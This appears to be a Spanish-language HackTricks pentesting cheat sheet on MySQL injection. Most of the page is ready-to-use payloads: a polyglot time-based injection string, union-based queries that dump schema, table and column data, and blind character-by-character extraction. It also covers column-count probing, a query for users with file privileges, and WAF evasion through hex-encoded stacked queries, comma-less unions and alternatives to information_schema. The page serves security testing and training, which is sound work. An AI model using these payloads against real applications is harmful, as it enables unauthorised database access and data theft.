Inyección de MySQL

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Comentarios

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Funciones Interesantes

Confirmar Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Funciones útiles

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Todas las inyecciones

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Flujo

Recuerda que en las versiones "modernas" de MySQL puedes sustituir "information_schema.tables" por "mysql.innodb_table_stats" (Esto podría ser útil para eludir WAFs).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Solo 1 valor

  • group_concat()
  • Limit X,1

Ciego uno por uno

  • substr(version(),X,1)='r' o substring(version(),X,1)=0x70 o ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Ciego sumando

  • LPAD(version(),1...longitud(version()),'1')='asd'...
  • RPAD(version(),1...longitud(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...longitud(version()))='asd'...
  • SELECT LEFT(version(),1...longitud(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Detectar número de columnas

Usando un simple ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Basado en Unión

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Aprende aquí diferentes opciones para abusar de una inyección Mysql para obtener un SSRF.

Trucos para eludir WAF

Ejecutando consultas a través de Sentencias Preparadas

Cuando se permiten consultas apiladas, puede ser posible eludir los WAF asignando a una variable la representación hexadecimal de la consulta que deseas ejecutar (usando SET), y luego usar las sentencias MySQL PREPARE y EXECUTE para finalmente ejecutar la consulta. Algo como esto:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Para más información, consulte este artículo del blog.

Alternativas a information_schema

Recuerde que en las versiones "modernas" de MySQL puede sustituir information_schema.tables por mysql.innodb_table_stats o por sys.x$schema_flattened_keys o por sys.schema_table_statistics.

MySQLinjection sin COMAS

Seleccione 2 columnas sin usar ninguna coma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Recuperando valores sin el nombre de la columna

Si en algún momento conoces el nombre de la tabla pero no sabes el nombre de las columnas dentro de la tabla, puedes intentar averiguar cuántas columnas hay ejecutando algo como:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Suponiendo que hay 2 columnas (siendo la primera el ID) y la otra el flag, puedes intentar hacer un ataque de fuerza bruta al contenido del flag probando carácter por carácter:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Más información en https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Historia de MySQL

Puedes ver otras ejecuciones dentro de MySQL leyendo la tabla: sys.x$statement_analysis

Versiones alternativass

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Otras guías de inyección MYSQL

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks